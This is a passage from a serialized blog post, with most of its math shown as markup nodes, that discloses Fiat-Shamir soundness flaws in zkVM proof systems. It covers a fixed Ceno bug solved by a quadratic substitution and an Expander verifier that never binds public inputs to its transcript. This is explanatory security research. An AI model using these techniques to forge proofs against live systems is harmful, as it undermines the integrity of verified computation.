"type":28,"value":21797},{"type":23,"tag":213,"props":120203,"children":120205},{"className":120204},[4130],[120206],{"type":23,"tag":213,"props":120207,"children":120209},{"className":120208,"style":93183},[4135],[120210],{"type":23,"tag":213,"props":120211,"children":120212},{},[],{"type":23,"tag":213,"props":120214,"children":120216},{"className":120215,"style":4185},[4184],[],{"type":23,"tag":213,"props":120218,"children":120220},{"className":120219},[4190],[120221],{"type":28,"value":111362},{"type":23,"tag":213,"props":120223,"children":120225},{"className":120224,"style":4185},[4184],[],{"type":23,"tag":213,"props":120227,"children":120229},{"className":120228},[4092],[120230,120234,120291,120295,120300],{"type":23,"tag":213,"props":120231,"children":120233},{"className":120232,"style":120154},[4097],[],{"type":23,"tag":213,"props":120235,"children":120237},{"className":120236},[4103],[120238,120243],{"type":23,"tag":213,"props":120239,"children":120241},{"className":120240},[4103,21637],[120242],{"type":28,"value":19329},{"type":23,"tag":213,"props":120244,"children":120246},{"className":120245},[4120],[120247],{"type":23,"tag":213,"props":120248,"children":120250},{"className":120249},[4125,21691],[120251,120280],{"type":23,"tag":213,"props":120252,"children":120254},{"className":120253},[4130],[120255,120275],{"type":23,"tag":213,"props":120256,"children":120258},{"className":120257,"style":93152},[4135],[120259],{"type":23,"tag":213,"props":120260,"children":120261},{"style":93156},[120262,120266],{"type":23,"tag":213,"props":120263,"children":120265},{"className":120264,"style":4145},[4144],[],{"type":23,"tag":213,"props":120267,"children":120269},{"className":120268},[4150,4151,4152,4153],[120270],{"type":23,"tag":213,"props":120271,"children":120273},{"className":120272},[4103,4153],[120274],{"type":28,"value":4106},{"type":23,"tag":213,"props":120276,"children":120278},{"className":120277},[21794],[120279],{"type":28,"value":21797},{"type":23,"tag":213,"props":120281,"children":120283},{"className":120282},[4130],[120284],{"type":23,"tag":213,"props":120285,"children":120287},{"className":120286,"style":93183},[4135],[120288],{"type":23,"tag":213,"props":120289,"children":120290},{},[],{"type":23,"tag":213,"props":120292,"children":120294},{"className":120293,"style":4185},[4184],[],{"type":23,"tag":213,"props":120296,"children":120298},{"className":120297},[4190],[120299],{"type":28,"value":111362},{"type":23,"tag":213,"props":120301,"children":120303},{"className":120302,"style":4185},[4184],[],{"type":23,"tag":213,"props":120305,"children":120307},{"className":120306},[4092],[120308,120312,120317,120327,120332,120336,120341],{"type":23,"tag":213,"props":120309,"children":120311},{"className":120310,"style":4205},[4097],[],{"type":23,"tag":213,"props":120313,"children":120315},{"className":120314},[21766],[120316],{"type":28,"value":265},{"type":23,"tag":213,"props":120318,"children":120320},{"className":120319},[4103,28],[120321],{"type":23,"tag":213,"props":120322,"children":120324},{"className":120323},[4103],[120325],{"type":28,"value":120326},"rest of product",{"type":23,"tag":213,"props":120328,"children":120330},{"className":120329},[21788],[120331],{"type":28,"value":2121},{"type":23,"tag":213,"props":120333,"children":120335},{"className":120334,"style":4282},[4184],[],{"type":23,"tag":213,"props":120337,"children":120339},{"className":120338},[4287],[120340],{"type":28,"value":3190},{"type":23,"tag":213,"props":120342,"children":120344},{"className":120343,"style":4282},[4184],[],{"type":23,"tag":213,"props":120346,"children":120348},{"className":120347},[4092],[120349,120353],{"type":23,"tag":213,"props":120350,"children":120352},{"className":120351,"style":115120},[4097],[],{"type":23,"tag":213,"props":120354,"children":120356},{"className":120355},[4103,28],[120357],{"type":23,"tag":213,"props":120358,"children":120360},{"className":120359},[4103],[120361],{"type":28,"value":115131},{"type":23,"tag":24,"props":120363,"children":120364},{},[120365,120367,120520],{"type":28,"value":120366},"This is bilinear in ",{"type":23,"tag":209,"props":120368,"children":120370},{"className":120369},[4076,4077],[120371],{"type":23,"tag":213,"props":120372,"children":120374},{"className":120373},[4082],[120375],{"type":23,"tag":213,"props":120376,"children":120378},{"className":120377,"ariaHidden":1710},[4087],[120379],{"type":23,"tag":213,"props":120380,"children":120382},{"className":120381},[4092],[120383,120387,120392,120449,120454,120458,120515],{"type":23,"tag":213,"props":120384,"children":120386},{"className":120385,"style":4205},[4097],[],{"type":23,"tag":213,"props":120388,"children":120390},{"className":120389},[21766],[120391],{"type":28,"value":265},{"type":23,"tag":213,"props":120393,"children":120395},{"className":120394},[4103],[120396,120401],{"type":23,"tag":213,"props":120397,"children":120399},{"className":120398},[4103,21637],[120400],{"type":28,"value":19329},{"type":23,"tag":213,"props":120402,"children":120404},{"className":120403},[4120],[120405],{"type":23,"tag":213,"props":120406,"children":120408},{"className":120407},[4125,21691],[120409,120438],{"type":23,"tag":213,"props":120410,"children":120412},{"className":120411},[4130],[120413,120433],{"type":23,"tag":213,"props":120414,"children":120416},{"className":120415,"style":93152},[4135],[120417],{"type":23,"tag":213,"props":120418,"children":120419},{"style":93156},[120420,120424],{"type":23,"tag":213,"props":120421,"children":120423},{"className":120422,"style":4145},[4144],[],{"type":23,"tag":213,"props":120425,"children":120427},{"className":120426},[4150,4151,4152,4153],[120428],{"type":23,"tag":213,"props":120429,"children":120431},{"className":120430},[4103,4153],[120432],{"type":28,"value":4116},{"type":23,"tag":213,"props":120434,"children":120436},{"className":120435},[21794],[120437],{"type":28,"value":21797},{"type":23,"tag":213,"props":120439,"children":120441},{"className":120440},[4130],[120442],{"type":23,"tag":213,"props":120443,"children":120445},{"className":120444,"style":93183},[4135],[120446],{"type":23,"tag":213,"props":120447,"children":120448},{},[],{"type":23,"tag":213,"props":120450,"children":120452},{"className":120451},[4216],[120453],{"type":28,"value":4219},{"type":23,"tag":213,"props":120455,"children":120457},{"className":120456,"style":4223},[4184],[],{"type":23,"tag":213,"props":120459,"children":120461},{"className":120460},[4103],[120462,120467],{"type":23,"tag":213,"props":120463,"children":120465},{"className":120464},[4103,21637],[120466],{"type":28,"value":19329},{"type":23,"tag":213,"props":120468,"children":120470},{"className":120469},[4120],[120471],{"type":23,"tag":213,"props":120472,"children":120474},{"className":120473},[4125,21691],[120475,120504],{"type":23,"tag":213,"props":120476,"children":120478},{"className":120477},[4130],[120479,120499],{"type":23,"tag":213,"props":120480,"children":120482},{"className":120481,"style":93152},[4135],[120483],{"type":23,"tag":213,"props":120484,"children":120485},{"style":93156},[120486,120490],{"type":23,"tag":213,"props":120487,"children":120489},{"className":120488,"style":4145},[4144],[],{"type":23,"tag":213,"props":120491,"children":120493},{"className":120492},[4150,4151,4152,4153],[120494],{"type":23,"tag":213,"props":120495,"children":120497},{"className":120496},[4103,4153],[120498],{"type":28,"value":4106},{"type":23,"tag":213,"props":120500,"children":120502},{"className":120501},[21794],[120503],{"type":28,"value":21797},{"type":23,"tag":213,"props":120505,"children":120507},{"className":120506},[4130],[120508],{"type":23,"tag":213,"props":120509,"children":120511},{"className":120510,"style":93183},[4135],[120512],{"type":23,"tag":213,"props":120513,"children":120514},{},[],{"type":23,"tag":213,"props":120516,"children":120518},{"className":120517},[21788],[120519],{"type":28,"value":2121},{"type":28,"value":124},{"type":23,"tag":24,"props":120522,"children":120523},{},[120524,120526,120679],{"type":28,"value":120525},"We have two unknowns ",{"type":23,"tag":209,"props":120527,"children":120529},{"className":120528},[4076,4077],[120530],{"type":23,"tag":213,"props":120531,"children":120533},{"className":120532},[4082],[120534],{"type":23,"tag":213,"props":120535,"children":120537},{"className":120536,"ariaHidden":1710},[4087],[120538],{"type":23,"tag":213,"props":120539,"children":120541},{"className":120540},[4092],[120542,120546,120551,120608,120613,120617,120674],{"type":23,"tag":213,"props":120543,"children":120545},{"className":120544,"style":4205},[4097],[],{"type":23,"tag":213,"props":120547,"children":120549},{"className":120548},[21766],[120550],{"type":28,"value":265},{"type":23,"tag":213,"props":120552,"children":120554},{"className":120553},[4103],[120555,120560],{"type":23,"tag":213,"props":120556,"children":120558},{"className":120557},[4103,21637],[120559],{"type":28,"value":19329},{"type":23,"tag":213,"props":120561,"children":120563},{"className":120562},[4120],[120564],{"type":23,"tag":213,"props":120565,"children":120567},{"className":120566},[4125,21691],[120568,120597],{"type":23,"tag":213,"props":120569,"children":120571},{"className":120570},[4130],[120572,120592],{"type":23,"tag":213,"props":120573,"children":120575},{"className":120574,"style":93152},[4135],[120576],{"type":23,"tag":213,"props":120577,"children":120578},{"style":93156},[120579,120583],{"type":23,"tag":213,"props":120580,"children":120582},{"className":120581,"style":4145},[4144],[],{"type":23,"tag":213,"props":120584,"children":120586},{"className":120585},[4150,4151,4152,4153],[120587],{"type":23,"tag":213,"props":120588,"children":120590},{"className":120589},[4103,4153],[120591],{"type":28,"value":4116},{"type":23,"tag":213,"props":120593,"children":120595},{"className":120594},[21794],[120596],{"type":28,"value":21797},{"type":23,"tag":213,"props":120598,"children":120600},{"className":120599},[4130],[120601],{"type":23,"tag":213,"props":120602,"children":120604},{"className":120603,"style":93183},[4135],[120605],{"type":23,"tag":213,"props":120606,"children":120607},{},[],{"type":23,"tag":213,"props":120609,"children":120611},{"className":120610},[4216],[120612],{"type":28,"value":4219},{"type":23,"tag":213,"props":120614,"children":120616},{"className":120615,"style":4223},[4184],[],{"type":23,"tag":213,"props":120618,"children":120620},{"className":120619},[4103],[120621,120626],{"type":23,"tag":213,"props":120622,"children":120624},{"className":120623},[4103,21637],[120625],{"type":28,"value":19329},{"type":23,"tag":213,"props":120627,"children":120629},{"className":120628},[4120],[120630],{"type":23,"tag":213,"props":120631,"children":120633},{"className":120632},[4125,21691],[120634,120663],{"type":23,"tag":213,"props":120635,"children":120637},{"className":120636},[4130],[120638,120658],{"type":23,"tag":213,"props":120639,"children":120641},{"className":120640,"style":93152},[4135],[120642],{"type":23,"tag":213,"props":120643,"children":120644},{"style":93156},[120645,120649],{"type":23,"tag":213,"props":120646,"children":120648},{"className":120647,"style":4145},[4144],[],{"type":23,"tag":213,"props":120650,"children":120652},{"className":120651},[4150,4151,4152,4153],[120653],{"type":23,"tag":213,"props":120654,"children":120656},{"className":120655},[4103,4153],[120657],{"type":28,"value":4106},{"type":23,"tag":213,"props":120659,"children":120661},{"className":120660},[21794],[120662],{"type":28,"value":21797},{"type":23,"tag":213,"props":120664,"children":120666},{"className":120665},[4130],[120667],{"type":23,"tag":213,"props":120668,"children":120670},{"className":120669,"style":93183},[4135],[120671],{"type":23,"tag":213,"props":120672,"children":120673},{},[],{"type":23,"tag":213,"props":120675,"children":120677},{"className":120676},[21788],[120678],{"type":28,"value":2121},{"type":28,"value":120680}," and two equations, one linear and one bilinear:",{"type":23,"tag":131,"props":120682,"children":120683},{},[120684,121011],{"type":23,"tag":135,"props":120685,"children":120686},{},[120687,120689],{"type":28,"value":120688},"Linear (from GKR): ",{"type":23,"tag":209,"props":120690,"children":120692},{"className":120691},[4076,4077],[120693],{"type":23,"tag":213,"props":120694,"children":120696},{"className":120695},[4082],[120697],{"type":23,"tag":213,"props":120698,"children":120700},{"className":120699,"ariaHidden":1710},[4087],[120701,120837,120972,120998],{"type":23,"tag":213,"props":120702,"children":120704},{"className":120703},[4092],[120705,120710,120767,120824,120828,120833],{"type":23,"tag":213,"props":120706,"children":120709},{"className":120707,"style":120708},[4097],"height:0.7333em;vertical-align:-0.15em;",[],{"type":23,"tag":213,"props":120711,"children":120713},{"className":120712},[4103],[120714,120719],{"type":23,"tag":213,"props":120715,"children":120717},{"className":120716},[4103,21637],[120718],{"type":28,"value":36},{"type":23,"tag":213,"props":120720,"children":120722},{"className":120721},[4120],[120723],{"type":23,"tag":213,"props":120724,"children":120726},{"className":120725},[4125,21691],[120727,120756],{"type":23,"tag":213,"props":120728,"children":120730},{"className":120729},[4130],[120731,120751],{"type":23,"tag":213,"props":120732,"children":120734},{"className":120733,"style":93152},[4135],[120735],{"type":23,"tag":213,"props":120736,"children":120737},{"style":93156},[120738,120742],{"type":23,"tag":213,"props":120739,"children":120741},{"className":120740,"style":4145},[4144],[],{"type":23,"tag":213,"props":120743,"children":120745},{"className":120744},[4150,4151,4152,4153],[120746],{"type":23,"tag":213,"props":120747,"children":120749},{"className":120748},[4103,4153],[120750],{"type":28,"value":4116},{"type":23,"tag":213,"props":120752,"children":120754},{"className":120753},[21794],[120755],{"type":28,"value":21797},{"type":23,"tag":213,"props":120757,"children":120759},{"className":120758},[4130],[120760],{"type":23,"tag":213,"props":120761,"children":120763},{"className":120762,"style":93183},[4135],[120764],{"type":23,"tag":213,"props":120765,"children":120766},{},[],{"type":23,"tag":213,"props":120768,"children":120770},{"className":120769},[4103],[120771,120776],{"type":23,"tag":213,"props":120772,"children":120774},{"className":120773},[4103,21637],[120775],{"type":28,"value":19329},{"type":23,"tag":213,"props":120777,"children":120779},{"className":120778},[4120],[120780],{"type":23,"tag":213,"props":120781,"children":120783},{"className":120782},[4125,21691],[120784,120813],{"type":23,"tag":213,"props":120785,"children":120787},{"className":120786},[4130],[120788,120808],{"type":23,"tag":213,"props":120789,"children":120791},{"className":120790,"style":93152},[4135],[120792],{"type":23,"tag":213,"props":120793,"children":120794},{"style":93156},[120795,120799],{"type":23,"tag":213,"props":120796,"children":120798},{"className":120797,"style":4145},[4144],[],{"type":23,"tag":213,"props":120800,"children":120802},{"className":120801},[4150,4151,4152,4153],[120803],{"type":23,"tag":213,"props":120804,"children":120806},{"className":120805},[4103,4153],[120807],{"type":28,"value":4116},{"type":23,"tag":213,"props":120809,"children":120811},{"className":120810},[21794],[120812],{"type":28,"value":21797},{"type":23,"tag":213,"props":120814,"children":120816},{"className":120815},[4130],[120817],{"type":23,"tag":213,"props":120818,"children":120820},{"className":120819,"style":93183},[4135],[120821],{"type":23,"tag":213,"props":120822,"children":120823},{},[],{"type":23,"tag":213,"props":120825,"children":120827},{"className":120826,"style":4185},[4184],[],{"type":23,"tag":213,"props":120829,"children":120831},{"className":120830},[4190],[120832],{"type":28,"value":2703},{"type":23,"tag":213,"props":120834,"children":120836},{"className":120835,"style":4185},[4184],[],{"type":23,"tag":213,"props":120838,"children":120840},{"className":120839},[4092],[120841,120845,120902,120959,120963,120968],{"type":23,"tag":213,"props":120842,"children":120844},{"className":120843,"style":120708},[4097],[],{"type":23,"tag":213,"props":120846,"children":120848},{"className":120847},[4103],[120849,120854],{"type":23,"tag":213,"props":120850,"children":120852},{"className":120851},[4103,21637],[120853],{"type":28,"value":36},{"type":23,"tag":213,"props":120855,"children":120857},{"className":120856},[4120],[120858],{"type":23,"tag":213,"props":120859,"children":120861},{"className":120860},[4125,21691],[120862,120891],{"type":23,"tag":213,"props":120863,"children":120865},{"className":120864},[4130],[120866,120886],{"type":23,"tag":213,"props":120867,"children":120869},{"className":120868,"style":93152},[4135],[120870],{"type":23,"tag":213,"props":120871,"children":120872},{"style":93156},[120873,120877],{"type":23,"tag":213,"props":120874,"children":120876},{"className":120875,"style":4145},[4144],[],{"type":23,"tag":213,"props":120878,"children":120880},{"className":120879},[4150,4151,4152,4153],[120881],{"type":23,"tag":213,"props":120882,"children":120884},{"className":120883},[4103,4153],[120885],{"type":28,"value":4106},{"type":23,"tag":213,"props":120887,"children":120889},{"className":120888},[21794],[120890],{"type":28,"value":21797},{"type":23,"tag":213,"props":120892,"children":120894},{"className":120893},[4130],[120895],{"type":23,"tag":213,"props":120896,"children":120898},{"className":120897,"style":93183},[4135],[120899],{"type":23,"tag":213,"props":120900,"children":120901},{},[],{"type":23,"tag":213,"props":120903,"children":120905},{"className":120904},[4103],[120906,120911],{"type":23,"tag":213,"props":120907,"children":120909},{"className":120908},[4103,21637],[120910],{"type":28,"value":19329},{"type":23,"tag":213,"props":120912,"children":120914},{"className":120913},[4120],[120915],{"type":23,"tag":213,"props":120916,"children":120918},{"className":120917},[4125,21691],[120919,120948],{"type":23,"tag":213,"props":120920,"children":120922},{"className":120921},[4130],[120923,120943],{"type":23,"tag":213,"props":120924,"children":120926},{"className":120925,"style":93152},[4135],[120927],{"type":23,"tag":213,"props":120928,"children":120929},{"style":93156},[120930,120934],{"type":23,"tag":213,"props":120931,"children":120933},{"className":120932,"style":4145},[4144],[],{"type":23,"tag":213,"props":120935,"children":120937},{"className":120936},[4150,4151,4152,4153],[120938],{"type":23,"tag":213,"props":120939,"children":120941},{"className":120940},[4103,4153],[120942],{"type":28,"value":4106},{"type":23,"tag":213,"props":120944,"children":120946},{"className":120945},[21794],[120947],{"type":28,"value":21797},{"type":23,"tag":213,"props":120949,"children":120951},{"className":120950},[4130],[120952],{"type":23,"tag":213,"props":120953,"children":120955},{"className":120954,"style":93183},[4135],[120956],{"type":23,"tag":213,"props":120957,"children":120958},{},[],{"type":23,"tag":213,"props":120960,"children":120962},{"className":120961,"style":4185},[4184],[],{"type":23,"tag":213,"props":120964,"children":120966},{"className":120965},[4190],[120967],{"type":28,"value":2703},{"type":23,"tag":213,"props":120969,"children":120971},{"className":120970,"style":4185},[4184],[],{"type":23,"tag":213,"props":120973,"children":120975},{"className":120974},[4092],[120976,120980,120985,120989,120994],{"type":23,"tag":213,"props":120977,"children":120979},{"className":120978,"style":110941},[4097],[],{"type":23,"tag":213,"props":120981,"children":120983},{"className":120982},[4103,21637],[120984],{"type":28,"value":3244},{"type":23,"tag":213,"props":120986,"children":120988},{"className":120987,"style":4282},[4184],[],{"type":23,"tag":213,"props":120990,"children":120992},{"className":120991},[4287],[120993],{"type":28,"value":3190},{"type":23,"tag":213,"props":120995,"children":120997},{"className":120996,"style":4282},[4184],[],{"type":23,"tag":213,"props":120999,"children":121001},{"className":121000},[4092],[121002,121006],{"type":23,"tag":213,"props":121003,"children":121005},{"className":121004,"style":94131},[4097],[],{"type":23,"tag":213,"props":121007,"children":121009},{"className":121008},[4103],[121010],{"type":28,"value":4116},{"type":23,"tag":135,"props":121012,"children":121013},{},[121014,121016],{"type":28,"value":121015},"Bilinear (from multiset): ",{"type":23,"tag":209,"props":121017,"children":121019},{"className":121018},[4076,4077],[121020],{"type":23,"tag":213,"props":121021,"children":121023},{"className":121022},[4082],[121024],{"type":23,"tag":213,"props":121025,"children":121027},{"className":121026,"ariaHidden":1710},[4087],[121028,121054,121132,121210,121236],{"type":23,"tag":213,"props":121029,"children":121031},{"className":121030},[4092],[121032,121036,121041,121045,121050],{"type":23,"tag":213,"props":121033,"children":121035},{"className":121034,"style":93015},[4097],[],{"type":23,"tag":213,"props":121037,"children":121039},{"className":121038,"style":94529},[4103,21637],[121040],{"type":28,"value":88737},{"type":23,"tag":213,"props":121042,"children":121044},{"className":121043,"style":4185},[4184],[],{"type":23,"tag":213,"props":121046,"children":121048},{"className":121047},[4190],[121049],{"type":28,"value":111362},{"type":23,"tag":213,"props":121051,"children":121053},{"className":121052,"style":4185},[4184],[],{"type":23,"tag":213,"props":121055,"children":121057},{"className":121056},[4092],[121058,121062,121119,121123,121128],{"type":23,"tag":213,"props":121059,"children":121061},{"className":121060,"style":120154},[4097],[],{"type":23,"tag":213,"props":121063,"children":121065},{"className":121064},[4103],[121066,121071],{"type":23,"tag":213,"props":121067,"children":121069},{"className":121068},[4103,21637],[121070],{"type":28,"value":19329},{"type":23,"tag":213,"props":121072,"children":121074},{"className":121073},[4120],[121075],{"type":23,"tag":213,"props":121076,"children":121078},{"className":121077},[4125,21691],[121079,121108],{"type":23,"tag":213,"props":121080,"children":121082},{"className":121081},[4130],[121083,121103],{"type":23,"tag":213,"props":121084,"children":121086},{"className":121085,"style":93152},[4135],[121087],{"type":23,"tag":213,"props":121088,"children":121089},{"style":93156},[121090,121094],{"type":23,"tag":213,"props":121091,"children":121093},{"className":121092,"style":4145},[4144],[],{"type":23,"tag":213,"props":121095,"children":121097},{"className":121096},[4150,4151,4152,4153],[121098],{"type":23,"tag":213,"props":121099,"children":121101},{"className":121100},[4103,4153],[121102],{"type":28,"value":4116},{"type":23,"tag":213,"props":121104,"children":121106},{"className":121105},[21794],[121107],{"type":28,"value":21797},{"type":23,"tag":213,"props":121109,"children":121111},{"className":121110},[4130],[121112],{"type":23,"tag":213,"props":121113,"children":121115},{"className":121114,"style":93183},[4135],[121116],{"type":23,"tag":213,"props":121117,"children":121118},{},[],{"type":23,"tag":213,"props":121120,"children":121122},{"className":121121,"style":4185},[4184],[],{"type":23,"tag":213,"props":121124,"children":121126},{"className":121125},[4190],[121127],{"type":28,"value":111362},{"type":23,"tag":213,"props":121129,"children":121131},{"className":121130,"style":4185},[4184],[],{"type":23,"tag":213,"props":121133,"children":121135},{"className":121134},[4092],[121136,121140,121197,121201,121206],{"type":23,"tag":213,"props":121137,"children":121139},{"className":121138,"style":120708},[4097],[],{"type":23,"tag":213,"props":121141,"children":121143},{"className":121142},[4103],[121144,121149],{"type":23,"tag":213,"props":121145,"children":121147},{"className":121146},[4103,21637],[121148],{"type":28,"value":19329},{"type":23,"tag":213,"props":121150,"children":121152},{"className":121151},[4120],[121153],{"type":23,"tag":213,"props":121154,"children":121156},{"className":121155},[4125,21691],[121157,121186],{"type":23,"tag":213,"props":121158,"children":121160},{"className":121159},[4130],[121161,121181],{"type":23,"tag":213,"props":121162,"children":121164},{"className":121163,"style":93152},[4135],[121165],{"type":23,"tag":213,"props":121166,"children":121167},{"style":93156},[121168,121172],{"type":23,"tag":213,"props":121169,"children":121171},{"className":121170,"style":4145},[4144],[],{"type":23,"tag":213,"props":121173,"children":121175},{"className":121174},[4150,4151,4152,4153],[121176],{"type":23,"tag":213,"props":121177,"children":121179},{"className":121178},[4103,4153],[121180],{"type":28,"value":4106},{"type":23,"tag":213,"props":121182,"children":121184},{"className":121183},[21794],[121185],{"type":28,"value":21797},{"type":23,"tag":213,"props":121187,"children":121189},{"className":121188},[4130],[121190],{"type":23,"tag":213,"props":121191,"children":121193},{"className":121192,"style":93183},[4135],[121194],{"type":23,"tag":213,"props":121195,"children":121196},{},[],{"type":23,"tag":213,"props":121198,"children":121200},{"className":121199,"style":4185},[4184],[],{"type":23,"tag":213,"props":121202,"children":121204},{"className":121203},[4190],[121205],{"type":28,"value":2703},{"type":23,"tag":213,"props":121207,"children":121209},{"className":121208,"style":4185},[4184],[],{"type":23,"tag":213,"props":121211,"children":121213},{"className":121212},[4092],[121214,121218,121223,121227,121232],{"type":23,"tag":213,"props":121215,"children":121217},{"className":121216,"style":93015},[4097],[],{"type":23,"tag":213,"props":121219,"children":121221},{"className":121220},[4103,21637],[121222],{"type":28,"value":70617},{"type":23,"tag":213,"props":121224,"children":121226},{"className":121225,"style":4282},[4184],[],{"type":23,"tag":213,"props":121228,"children":121230},{"className":121229},[4287],[121231],{"type":28,"value":3190},{"type":23,"tag":213,"props":121233,"children":121235},{"className":121234,"style":4282},[4184],[],{"type":23,"tag":213,"props":121237,"children":121239},{"className":121238},[4092],[121240,121244],{"type":23,"tag":213,"props":121241,"children":121243},{"className":121242,"style":94131},[4097],[],{"type":23,"tag":213,"props":121245,"children":121247},{"className":121246},[4103],[121248],{"type":28,"value":4116},{"type":23,"tag":24,"props":121250,"children":121251},{},[121252],{"type":28,"value":121253},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":23,"tag":24,"props":121255,"children":121256},{},[121257,121261,121263,121270,121272,121279],{"type":23,"tag":95,"props":121258,"children":121259},{},[121260],{"type":28,"value":116810},{"type":28,"value":121262}," Fixed on March 5, 2026 via ",{"type":23,"tag":36,"props":121264,"children":121267},{"href":121265,"rel":121266},"https://github.com/scroll-tech/ceno/pull/1262",[40],[121268],{"type":28,"value":121269},"PR #1262",{"type":28,"value":121271}," (original report: ",{"type":23,"tag":36,"props":121273,"children":121276},{"href":121274,"rel":121275},"https://github.com/scroll-tech/ceno/issues/1125",[40],[121277],{"type":28,"value":121278},"#1125",{"type":28,"value":2121},{"type":23,"tag":18845,"props":121281,"children":121282},{},[],{"type":23,"tag":9693,"props":121284,"children":121286},{"id":121285},"expander-polyhedra",[121287],{"type":28,"value":121288},"Expander (Polyhedra)",{"type":23,"tag":24,"props":121290,"children":121291},{},[121292],{"type":28,"value":121293},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":23,"tag":24,"props":121295,"children":121296},{},[121297],{"type":23,"tag":95,"props":121298,"children":121299},{},[121300],{"type":28,"value":115516},{"type":23,"tag":202,"props":121302,"children":121304},{"code":121303},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[121305],{"type":23,"tag":209,"props":121306,"children":121307},{"__ignoreMap":7},[121308],{"type":28,"value":121303},{"type":23,"tag":24,"props":121310,"children":121311},{},[121312,121314,121320],{"type":28,"value":121313},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":23,"tag":209,"props":121315,"children":121317},{"className":121316},[],[121318],{"type":28,"value":121319},"eval_cst",{"type":28,"value":121321}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":23,"tag":202,"props":121323,"children":121325},{"code":121324,"language":205,"meta":7,"className":206,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[121326],{"type":23,"tag":209,"props":121327,"children":121328},{"__ignoreMap":7},[121329],{"type":23,"tag":213,"props":121330,"children":121331},{"class":215,"line":216},[121332,121336,121341,121346,121350,121354,121358,121362,121367,121371,121376,121381,121385,121390],{"type":23,"tag":213,"props":121333,"children":121334},{"style":268},[121335],{"type":28,"value":76685},{"type":23,"tag":213,"props":121337,"children":121338},{"style":274},[121339],{"type":28,"value":121340}," -=",{"type":23,"tag":213,"props":121342,"children":121343},{"style":290},[121344],{"type":28,"value":121345}," GKRVerifierHelper",{"type":23,"tag":213,"props":121347,"children":121348},{"style":274},[121349],{"type":28,"value":562},{"type":23,"tag":213,"props":121351,"children":121352},{"style":257},[121353],{"type":28,"value":121319},{"type":23,"tag":213,"props":121355,"children":121356},{"style":220},[121357],{"type":28,"value":265},{"type":23,"tag":213,"props":121359,"children":121360},{"style":274},[121361],{"type":28,"value":405},{"type":23,"tag":213,"props":121363,"children":121364},{"style":268},[121365],{"type":28,"value":121366},"layer",{"type":23,"tag":213,"props":121368,"children":121369},{"style":274},[121370],{"type":28,"value":124},{"type":23,"tag":213,"props":121372,"children":121373},{"style":220},[121374],{"type":28,"value":121375},"const_, ",{"type":23,"tag":213,"props":121377,"children":121378},{"style":268},[121379],{"type":28,"value":121380},"public_input",{"type":23,"tag":213,"props":121382,"children":121383},{"style":220},[121384],{"type":28,"value":424},{"type":23,"tag":213,"props":121386,"children":121387},{"style":268},[121388],{"type":28,"value":121389},"sp",{"type":23,"tag":213,"props":121391,"children":121392},{"style":220},[121393],{"type":28,"value":2867},{"type":23,"tag":24,"props":121395,"children":121396},{},[121397,121399,121404],{"type":28,"value":121398},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":23,"tag":209,"props":121400,"children":121402},{"className":121401},[],[121403],{"type":28,"value":121389},{"type":28,"value":20796},{"type":23,"tag":24,"props":121406,"children":121407},{},[121408],{"type":23,"tag":95,"props":121409,"children":121410},{},[121411],{"type":28,"value":121412},"The vulnerability:",{"type":23,"tag":24,"props":121414,"children":121415},{},[121416,121421],{"type":23,"tag":209,"props":121417,"children":121419},{"className":121418},[],[121420],{"type":28,"value":121380},{"type":28,"value":121422}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":23,"tag":24,"props":121424,"children":121425},{},[121426],{"type":23,"tag":4009,"props":121427,"children":121430},{"alt":121428,"src":121429},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":23,"tag":24,"props":121432,"children":121433},{},[121434,121435,121440],{"type":28,"value":2623},{"type":23,"tag":209,"props":121436,"children":121438},{"className":121437},[],[121439],{"type":28,"value":121319},{"type":28,"value":121441}," function computes a linear combination:",{"type":23,"tag":24,"props":121443,"children":121444},{},[121445],{"type":23,"tag":209,"props":121446,"children":121448},{"className":121447},[4076,4077],[121449],{"type":23,"tag":213,"props":121450,"children":121452},{"className":121451},[4082],[121453],{"type":23,"tag":213,"props":121454,"children":121456},{"className":121455,"ariaHidden":1710},[4087],[121457,121502,121626],{"type":23,"tag":213,"props":121458,"children":121460},{"className":121459},[4092],[121461,121465,121474,121479,121489,121493,121498],{"type":23,"tag":213,"props":121462,"children":121464},{"className":121463,"style":94513},[4097],[],{"type":23,"tag":213,"props":121466,"children":121468},{"className":121467},[4103,28],[121469],{"type":23,"tag":213,"props":121470,"children":121472},{"className":121471},[4103],[121473],{"type":28,"value":37606},{"type":23,"tag":213,"props":121475,"children":121477},{"className":121476,"style":93100},[4103],[121478],{"type":28,"value":3181},{"type":23,"tag":213,"props":121480,"children":121482},{"className":121481},[4103,28],[121483],{"type":23,"tag":213,"props":121484,"children":121486},{"className":121485},[4103],[121487],{"type":28,"value":121488},"cst",{"type":23,"tag":213,"props":121490,"children":121492},{"className":121491,"style":4282},[4184],[],{"type":23,"tag":213,"props":121494,"children":121496},{"className":121495},[4287],[121497],{"type":28,"value":3190},{"type":23,"tag":213,"props":121499,"children":121501},{"className":121500,"style":4282},[4184],[],{"type":23,"tag":213,"props":121503,"children":121505},{"className":121504},[4092],[121506,121510,121567,121571,121598,121603,121608,121613,121617,121622],{"type":23,"tag":213,"props":121507,"children":121509},{"className":121508,"style":93042},[4097],[],{"type":23,"tag":213,"props":121511,"children":121513},{"className":121512},[21673],[121514,121519],{"type":23,"tag":213,"props":121515,"children":121517},{"className":121516,"style":21680},[21673,21678,21679],[121518],{"type":28,"value":108895},{"type":23,"tag":213,"props":121520,"children":121522},{"className":121521},[4120],[121523],{"type":23,"tag":213,"props":121524,"children":121526},{"className":121525},[4125,21691],[121527,121556],{"type":23,"tag":213,"props":121528,"children":121530},{"className":121529},[4130],[121531,121551],{"type":23,"tag":213,"props":121532,"children":121534},{"className":121533,"style":114307},[4135],[121535],{"type":23,"tag":213,"props":121536,"children":121537},{"style":21704},[121538,121542],{"type":23,"tag":213,"props":121539,"children":121541},{"className":121540,"style":